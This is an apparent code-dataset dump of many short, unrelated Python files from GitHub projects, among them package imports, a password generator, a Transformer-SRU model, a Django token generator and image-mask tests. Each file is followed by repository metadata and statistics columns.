from .connect6_wjs import Connect6WJS | 34.5 | 37 | 0.855072 | 9 | 69 | 6.444444 | 0.555556 | 0.413793 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065574 | 0.115942 | 69 | 2 | 37 | 34.5 | 0.885246 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
342ac6313a33c1a407c391ca99f1adfe8b16ea83 | 72 | py | Python | src/pricecypher/endpoints/__init__.py | marketredesign/pricecypher_python_api | 613818da8c5e87e99c45dcee710a839169135a8f | [
"MIT"
] | null | null | null | src/pricecypher/endpoints/__init__.py | marketredesign/pricecypher_python_api | 613818da8c5e87e99c45dcee710a839169135a8f | [
"MIT"
] | null | null | null | src/pricecypher/endpoints/__init__.py | marketredesign/pricecypher_python_api | 613818da8c5e87e99c45dcee710a839169135a8f | [
"MIT"
] | null | null | null | from .datasets import DatasetsEndpoint
from .users import UsersEndpoint
| 24 | 38 | 0.861111 | 8 | 72 | 7.75 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 72 | 2 | 39 | 36 | 0.96875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
346285d342a372af6e2251313010a3ad4cbca18f | 177 | py | Python | whist/server/database/__init__.py | Whist-Team/Whist-Server | 7173bba9cbae505e189c812ebb459af661d656b2 | [
"MIT"
] | 1 | 2021-08-09T21:15:23.000Z | 2021-08-09T21:15:23.000Z | whist/server/database/__init__.py | Whist-Team/Whist-Server | 7173bba9cbae505e189c812ebb459af661d656b2 | [
"MIT"
] | 172 | 2021-04-18T21:09:56.000Z | 2022-03-31T20:38:07.000Z | whist/server/database/__init__.py | Whist-Team/Whist-Server | 7173bba9cbae505e189c812ebb459af661d656b2 | [
"MIT"
] | 2 | 2021-08-28T19:05:55.000Z | 2022-03-20T17:50:29.000Z | """Initializes the mongodb database"""
from whist.server.const import DATABASE_NAME
from whist.server.database.connection import get_database
db = get_database(DATABASE_NAME)
| 25.285714 | 57 | 0.824859 | 24 | 177 | 5.916667 | 0.541667 | 0.126761 | 0.211268 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096045 | 177 | 6 | 58 | 29.5 | 0.8875 | 0.180791 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
346c84870aed0ca27c4b727301942a39d4052fe3 | 436 | py | Python | flash/vision/__init__.py | testinggg-art/lightning-flash | 87bdb0996c365485bbf26c03b0a7e6a4c91c5484 | [
"Apache-2.0"
] | null | null | null | flash/vision/__init__.py | testinggg-art/lightning-flash | 87bdb0996c365485bbf26c03b0a7e6a4c91c5484 | [
"Apache-2.0"
] | null | null | null | flash/vision/__init__.py | testinggg-art/lightning-flash | 87bdb0996c365485bbf26c03b0a7e6a4c91c5484 | [
"Apache-2.0"
] | null | null | null | from flash.vision.backbones import IMAGE_CLASSIFIER_BACKBONES, OBJ_DETECTION_BACKBONES
from flash.vision.classification import ImageClassificationData, ImageClassificationPreprocess, ImageClassifier
from flash.vision.detection import ObjectDetectionData, ObjectDetector
from flash.vision.embedding import ImageEmbedder
f... | 72.666667 | 116 | 0.90367 | 40 | 436 | 9.75 | 0.525 | 0.115385 | 0.192308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059633 | 436 | 5 | 117 | 87.2 | 0.95122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1b09d7cafb6cc4c557c438a8ecc773bb0d8871fa | 480 | py | Python | core/passwords.py | zhoufel1/Password-Repository- | 53943ce04418db7d0e2cdab6acf227fb5cd02fb9 | [
"MIT"
] | 2 | 2019-06-19T01:04:23.000Z | 2019-06-25T03:24:24.000Z | core/passwords.py | zhoufel1/Password-Repository- | 53943ce04418db7d0e2cdab6acf227fb5cd02fb9 | [
"MIT"
] | 5 | 2019-07-04T05:18:16.000Z | 2019-07-04T05:33:47.000Z | core/passwords.py | zhoufel1/Password-Manager- | 53943ce04418db7d0e2cdab6acf227fb5cd02fb9 | [
"MIT"
] | null | null | null | import random
from constants import UPPER, LOWER
def generate_password(length: int) -> str:
return ''.join([determine_character_type(random.randint(0, 2))
for i in range(length)])
def determine_character_type(value: int) -> str:
if value == 0:
return LOWER[random.SystemRandom().ra... | 28.235294 | 66 | 0.652083 | 62 | 480 | 4.967742 | 0.516129 | 0.103896 | 0.243506 | 0.253247 | 0.181818 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032 | 0.21875 | 480 | 16 | 67 | 30 | 0.789333 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0.083333 | 0.166667 | 0.083333 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
1b37a5499977e0592939ac3934760ae19fea6b21 | 113 | py | Python | hello.py | bitbloxhub/superrisc | f964b8c586586f7ef7815a37114d4c754b73774b | [
"0BSD"
] | null | null | null | hello.py | bitbloxhub/superrisc | f964b8c586586f7ef7815a37114d4c754b73774b | [
"0BSD"
] | null | null | null | hello.py | bitbloxhub/superrisc | f964b8c586586f7ef7815a37114d4c754b73774b | [
"0BSD"
] | null | null | null | for char in "Hello, world!":
for _ in range(0, ord(char)):
print("+", end = "")
print("[", end = "")
print()
| 18.833333 | 30 | 0.522124 | 16 | 113 | 3.625 | 0.625 | 0.275862 | 0.448276 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011111 | 0.20354 | 113 | 5 | 31 | 22.6 | 0.633333 | 0 | 0 | 0 | 0 | 0 | 0.132743 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.6 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
1b7e5659acb4dcca9615659d113adf88f1d1dd83 | 95 | py | Python | unittest/sphinxExer/src/mod.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | unittest/sphinxExer/src/mod.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | unittest/sphinxExer/src/mod.py | terasakisatoshi/pythonCodes | baee095ecee96f6b5ec6431267cdc6c40512a542 | [
"MIT"
] | null | null | null | def hello():
"""
say hello only
"""
print('hello')
def hi():
print("hi")
| 9.5 | 18 | 0.442105 | 11 | 95 | 3.818182 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.347368 | 95 | 9 | 19 | 10.555556 | 0.677419 | 0.147368 | 0 | 0 | 0 | 0 | 0.107692 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
94069ed042df79ab217dcfe5487f34267efdd89e | 1,280 | py | Python | deep_architect/contrib/communicators/file_utils.py | dapatil211/deep_architect | feadfb545d166216e27532ea47e8efa178e0d142 | [
"MIT"
] | 272 | 2017-05-01T08:14:15.000Z | 2022-02-02T15:21:24.000Z | deep_architect/contrib/communicators/file_utils.py | dapatil211/deep_architect | feadfb545d166216e27532ea47e8efa178e0d142 | [
"MIT"
] | 16 | 2017-09-25T02:19:40.000Z | 2022-02-10T00:37:09.000Z | deep_architect/contrib/communicators/file_utils.py | dapatil211/deep_architect | feadfb545d166216e27532ea47e8efa178e0d142 | [
"MIT"
] | 35 | 2017-05-10T14:39:40.000Z | 2021-01-17T10:09:34.000Z | import portalocker
import pickle
def clear_file(fh):
fh.seek(0)
fh.truncate(0)
def consume_file(filename):
lock = portalocker.Lock(filename, mode='a+b', flags=portalocker.LOCK_EX)
lock.acquire()
fh = lock.fh
fh.seek(0)
if len(fh.read()) is 0:
file_data = None
else:
fh... | 22.45614 | 80 | 0.578125 | 184 | 1,280 | 3.907609 | 0.184783 | 0.133519 | 0.06815 | 0.05007 | 0.820584 | 0.792768 | 0.723227 | 0.642559 | 0.642559 | 0.642559 | 0 | 0.013498 | 0.305469 | 1,280 | 56 | 81 | 22.857143 | 0.795276 | 0 | 0 | 0.729167 | 0 | 0 | 0.007031 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.041667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
945fb831fa5805656bb396e662573ca2f0282e13 | 342 | py | Python | google_photos_archiver/radius.py | gbenson/google-photos-archiver | 85b0ffd2cca636b3a1690645a2442b2e2b431395 | [
"MIT"
] | null | null | null | google_photos_archiver/radius.py | gbenson/google-photos-archiver | 85b0ffd2cca636b3a1690645a2442b2e2b431395 | [
"MIT"
] | null | null | null | google_photos_archiver/radius.py | gbenson/google-photos-archiver | 85b0ffd2cca636b3a1690645a2442b2e2b431395 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
def main():
pass
if __name__ == "__main__":
if "sys" not in locals():
import sys
assert sys.version_in... | 20.117647 | 39 | 0.695906 | 45 | 342 | 4.666667 | 0.644444 | 0.190476 | 0.304762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007326 | 0.201754 | 342 | 16 | 40 | 21.375 | 0.761905 | 0.122807 | 0 | 0 | 0 | 0 | 0.036913 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.090909 | true | 0.090909 | 0.454545 | 0 | 0.545455 | 0.090909 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
84b2e8e3b8aee865d3c5b959b02fd543d3e29ab5 | 492 | py | Python | athinaweb/athina_db.py | athina-edu/athina-web | 08a8bf5012ce9853b88a6f2f77d6483248535786 | [
"MIT"
] | null | null | null | athinaweb/athina_db.py | athina-edu/athina-web | 08a8bf5012ce9853b88a6f2f77d6483248535786 | [
"MIT"
] | 11 | 2019-03-15T04:39:49.000Z | 2021-03-30T12:28:33.000Z | athinaweb/athina_db.py | athina-edu/athina-web | 08a8bf5012ce9853b88a6f2f77d6483248535786 | [
"MIT"
] | null | null | null | import os
class db_info:
athina_mysql_host = None
athina_mysql_port = None
athina_mysql_username = None
athina_mysql_password = None
def __init__(self):
self.athina_mysql_host = os.environ.get("ATHINA_MYSQL_HOST", None)
self.athina_mysql_port = os.environ.get("ATHINA_MYSQL_PORT", ... | 32.8 | 82 | 0.729675 | 68 | 492 | 4.852941 | 0.25 | 0.4 | 0.181818 | 0.218182 | 0.278788 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.180894 | 492 | 14 | 83 | 35.142857 | 0.818859 | 0 | 0 | 0 | 0 | 0 | 0.154472 | 0.085366 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.181818 | 0.090909 | 0 | 0.636364 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
84b8080d34de1e9a08c3ffa378f79ec61332edb1 | 36 | py | Python | tests/__init__.py | petermaple/python-lzw | 68970d27aa45dfaa84cdd3a9b6daece3fb7bd0b5 | [
"MIT"
] | 28 | 2015-05-07T21:58:43.000Z | 2022-02-15T22:11:39.000Z | tests/__init__.py | petermaple/python-lzw | 68970d27aa45dfaa84cdd3a9b6daece3fb7bd0b5 | [
"MIT"
] | 2 | 2016-06-24T16:26:50.000Z | 2018-07-18T05:04:27.000Z | tests/__init__.py | petermaple/python-lzw | 68970d27aa45dfaa84cdd3a9b6daece3fb7bd0b5 | [
"MIT"
] | 22 | 2016-03-17T12:26:59.000Z | 2021-11-19T11:07:42.000Z | # Put your tests in this directory.
| 18 | 35 | 0.75 | 6 | 36 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.194444 | 36 | 1 | 36 | 36 | 0.931034 | 0.916667 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
84e07fb5254dbe9bad541c98038206173ccec29a | 133 | py | Python | floggy/admin/components/contents/__init__.py | gladioluz/Floggy | bc80cd068429ba1763d61b2baef2cefe321cda72 | [
"MIT"
] | null | null | null | floggy/admin/components/contents/__init__.py | gladioluz/Floggy | bc80cd068429ba1763d61b2baef2cefe321cda72 | [
"MIT"
] | null | null | null | floggy/admin/components/contents/__init__.py | gladioluz/Floggy | bc80cd068429ba1763d61b2baef2cefe321cda72 | [
"MIT"
] | null | null | null | from flask import Blueprint
bp = Blueprint('admin_contents_bp', __name__)
from floggy.admin.components.contents import controllers
| 22.166667 | 56 | 0.827068 | 17 | 133 | 6.117647 | 0.647059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 133 | 5 | 57 | 26.6 | 0.87395 | 0 | 0 | 0 | 0 | 0 | 0.12782 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 5 |
ca087e0b7f9a31a319406d2e58b09413b39e950c | 255 | py | Python | toontown/estate/DistributedStatuaryAI.py | TheFamiliarScoot/open-toontown | 678313033174ea7d08e5c2823bd7b473701ff547 | [
"BSD-3-Clause"
] | 99 | 2019-11-02T22:25:00.000Z | 2022-02-03T03:48:00.000Z | toontown/estate/DistributedStatuaryAI.py | TheFamiliarScoot/open-toontown | 678313033174ea7d08e5c2823bd7b473701ff547 | [
"BSD-3-Clause"
] | 42 | 2019-11-03T05:31:08.000Z | 2022-03-16T22:50:32.000Z | toontown/estate/DistributedStatuaryAI.py | TheFamiliarScoot/open-toontown | 678313033174ea7d08e5c2823bd7b473701ff547 | [
"BSD-3-Clause"
] | 57 | 2019-11-03T07:47:37.000Z | 2022-03-22T00:41:49.000Z | from direct.directnotify import DirectNotifyGlobal
from direct.distributed.DistributedObjectAI import DistributedObjectAI
class DistributedStatuaryAI(DistributedObjectAI):
notify = DirectNotifyGlobal.directNotify.newCategory('DistributedStatuaryAI')
| 42.5 | 81 | 0.878431 | 19 | 255 | 11.789474 | 0.578947 | 0.089286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070588 | 255 | 5 | 82 | 51 | 0.945148 | 0 | 0 | 0 | 0 | 0 | 0.082353 | 0.082353 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ca1028c7bb580e1322b12b5945a8c8dd307f639c | 72 | py | Python | magi/networks/__init__.py | ethanluoyc/magi | 2ef2ba60989a55ccf8c90ba74c8e712fe301e2fa | [
"Apache-2.0"
] | 86 | 2021-11-24T21:53:29.000Z | 2022-03-27T13:35:45.000Z | magi/networks/__init__.py | ethanluoyc/magi | 2ef2ba60989a55ccf8c90ba74c8e712fe301e2fa | [
"Apache-2.0"
] | 7 | 2021-11-26T17:23:29.000Z | 2022-03-07T21:49:44.000Z | magi/networks/__init__.py | ethanluoyc/magi | 2ef2ba60989a55ccf8c90ba74c8e712fe301e2fa | [
"Apache-2.0"
] | 3 | 2021-11-27T11:13:18.000Z | 2022-01-24T14:38:53.000Z | """Shared network modules."""
from magi.networks.vision import DrQTorso
| 24 | 41 | 0.777778 | 9 | 72 | 6.222222 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097222 | 72 | 2 | 42 | 36 | 0.861538 | 0.319444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ca396b44f85768b356237104691aebabbc797a84 | 381 | py | Python | test/test_get_feature.py | CSC510-Group-25/feature-hunt | 27a0f52c8f7831e9e77db98d88f41d9fc1dab7ca | [
"MIT"
] | null | null | null | test/test_get_feature.py | CSC510-Group-25/feature-hunt | 27a0f52c8f7831e9e77db98d88f41d9fc1dab7ca | [
"MIT"
] | 147 | 2021-10-14T18:10:04.000Z | 2021-11-30T01:36:42.000Z | test/test_get_feature.py | elric97/feature-hunt | 7f8e77835408cb6592f654bbf59caa952beaeb63 | [
"MIT"
] | 8 | 2021-11-04T04:17:21.000Z | 2021-11-26T12:53:52.000Z | #pylint: skip-file
from pprint import pprint
from flask_cors import CORS
import requests
def test_get_feature_1():
#response = requests.get("http://localhost:5000/feature-hunt")
#assert b'bug fix' in response.content
pass
def test_get_feature_2():
#response = requests.get("http://localhost:5000/disen... | 25.4 | 66 | 0.734908 | 54 | 381 | 5.055556 | 0.537037 | 0.07326 | 0.07326 | 0.124542 | 0.263736 | 0.263736 | 0 | 0 | 0 | 0 | 0 | 0.031056 | 0.154856 | 381 | 15 | 67 | 25.4 | 0.81677 | 0.559055 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | true | 0.285714 | 0.428571 | 0 | 0.714286 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 5 |
ca5034b7eab4b625a67a651efecc2cfbd1e1420a | 228 | py | Python | AShareData/model/__init__.py | jicewarwick/AShareData | 13c78602fe00a5326f421c8a8003f3889492e6dd | [
"MIT"
] | 30 | 2019-09-18T07:26:05.000Z | 2022-03-17T11:15:47.000Z | AShareData/model/__init__.py | jicewarwick/Tushare2MySQL | 13c78602fe00a5326f421c8a8003f3889492e6dd | [
"MIT"
] | 2 | 2019-12-11T02:45:58.000Z | 2020-12-21T10:41:43.000Z | AShareData/model/__init__.py | jicewarwick/Tushare2MySQL | 13c78602fe00a5326f421c8a8003f3889492e6dd | [
"MIT"
] | 9 | 2019-10-22T09:00:14.000Z | 2022-02-02T02:21:31.000Z | from .capm import CapitalAssetPricingModel as CAPM
from .fama_french_3_factor_model import FamaFrench3FactorModel, SMBandHMLCompositor
from .fama_french_carhart_4_factor_model import FamaFrenchCarhart4FactorModel, UMDCompositor
| 57 | 92 | 0.907895 | 25 | 228 | 7.92 | 0.64 | 0.080808 | 0.141414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018868 | 0.070175 | 228 | 3 | 93 | 76 | 0.915094 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ca5967d52a7ac75b95f6234f5217a9a031746d4e | 23,050 | py | Python | flambe/nn/transformer_sru.py | axel-sirota/flambe | 15e985ab456973b40e6b75c6b3d153ea9b4e8849 | [
"MIT"
] | 1 | 2020-02-28T15:45:19.000Z | 2020-02-28T15:45:19.000Z | flambe/nn/transformer_sru.py | cle-ros/flambe | 0dc2f5b2b286694defe8abf450fe5be9ae12c097 | [
"MIT"
] | null | null | null | flambe/nn/transformer_sru.py | cle-ros/flambe | 0dc2f5b2b286694defe8abf450fe5be9ae12c097 | [
"MIT"
] | null | null | null | import copy
from typing import Optional, Dict, Any, Tuple
import torch
import torch.nn as nn
from sru import SRUCell
from flambe.nn import Module
class TransformerSRU(Module):
"""A Transformer with an SRU replacing the FFN."""
def __init__(self,
input_size: int = 512,
d_mo... | 39.067797 | 98 | 0.541302 | 2,499 | 23,050 | 4.865546 | 0.095638 | 0.065137 | 0.040628 | 0.041615 | 0.783782 | 0.760753 | 0.751542 | 0.726293 | 0.704252 | 0.660663 | 0 | 0.01153 | 0.382907 | 23,050 | 589 | 99 | 39.134126 | 0.843293 | 0.407722 | 0 | 0.672131 | 0 | 0 | 0.008889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04918 | false | 0 | 0.02459 | 0 | 0.114754 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
ca5d1df9d88f86d916d94818e84b0168762d518a | 333 | py | Python | accounts/tokens.py | utkarsh23/endorsity-club | 7b3684856f9e14284d9998931b7124505376ca5a | [
"MIT"
] | null | null | null | accounts/tokens.py | utkarsh23/endorsity-club | 7b3684856f9e14284d9998931b7124505376ca5a | [
"MIT"
] | null | null | null | accounts/tokens.py | utkarsh23/endorsity-club | 7b3684856f9e14284d9998931b7124505376ca5a | [
"MIT"
] | null | null | null | from django.contrib.auth.tokens import PasswordResetTokenGenerator
class AccountActivationTokenGenerator(PasswordResetTokenGenerator):
def _make_hash_value(self, user, timestamp):
return (
user.pk + timestamp +user.is_account_activated
)
account_activation_token = AccountActivationToke... | 33.3 | 67 | 0.777778 | 29 | 333 | 8.689655 | 0.793103 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162162 | 333 | 9 | 68 | 37 | 0.903226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0.285714 | 0.142857 | 0.142857 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 5 |
ca62b4ac511c84e715ea9d2ccbb386c313bc7208 | 3,689 | py | Python | munibot/tests/test_image.py | amercader/munibot | 8ee6d0449e41aa3cb1231f7855d95730ab567f8f | [
"MIT"
] | 4 | 2020-12-27T16:43:27.000Z | 2021-10-02T11:35:08.000Z | munibot/tests/test_image.py | amercader/munibot | 8ee6d0449e41aa3cb1231f7855d95730ab567f8f | [
"MIT"
] | 3 | 2020-12-13T14:22:08.000Z | 2021-04-04T21:55:11.000Z | munibot/tests/test_image.py | amercader/munibot | 8ee6d0449e41aa3cb1231f7855d95730ab567f8f | [
"MIT"
] | 2 | 2021-01-11T22:15:38.000Z | 2021-01-12T09:08:27.000Z | import fiona
import pytest
from numpy.testing import assert_array_equal
from PIL import Image
from munibot.image import create_image, get_mask, process_image
def test_get_mask(test_boundaries_path, test_image_path):
"""
Our image is 100 x 50 pixels, and the GeoJSON boundaries should leave
3px on each sid... | 32.9375 | 78 | 0.641908 | 609 | 3,689 | 3.704434 | 0.137931 | 0.300532 | 0.375 | 0.398936 | 0.453901 | 0.433511 | 0.406028 | 0.385638 | 0.248227 | 0.248227 | 0 | 0.213788 | 0.221469 | 3,689 | 111 | 79 | 33.234234 | 0.571727 | 0.202765 | 0 | 0.137931 | 0 | 0 | 0.013976 | 0 | 0 | 0 | 0 | 0 | 0.586207 | 1 | 0.051724 | false | 0 | 0.086207 | 0 | 0.137931 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
046542e051b07f8df805ae98852e065e09e84f8b | 157 | py | Python | robonomics_control/src/robonomics_control/nodes.py | khssnv/robonomics_comm | 606a5ee91cf003421138fee02bd0d0f595ceadfd | [
"BSD-3-Clause"
] | null | null | null | robonomics_control/src/robonomics_control/nodes.py | khssnv/robonomics_comm | 606a5ee91cf003421138fee02bd0d0f595ceadfd | [
"BSD-3-Clause"
] | null | null | null | robonomics_control/src/robonomics_control/nodes.py | khssnv/robonomics_comm | 606a5ee91cf003421138fee02bd0d0f595ceadfd | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Robonomics control related nodes.
#
from . import distribution
def distribution_node():
distribution.Distribution().spin()
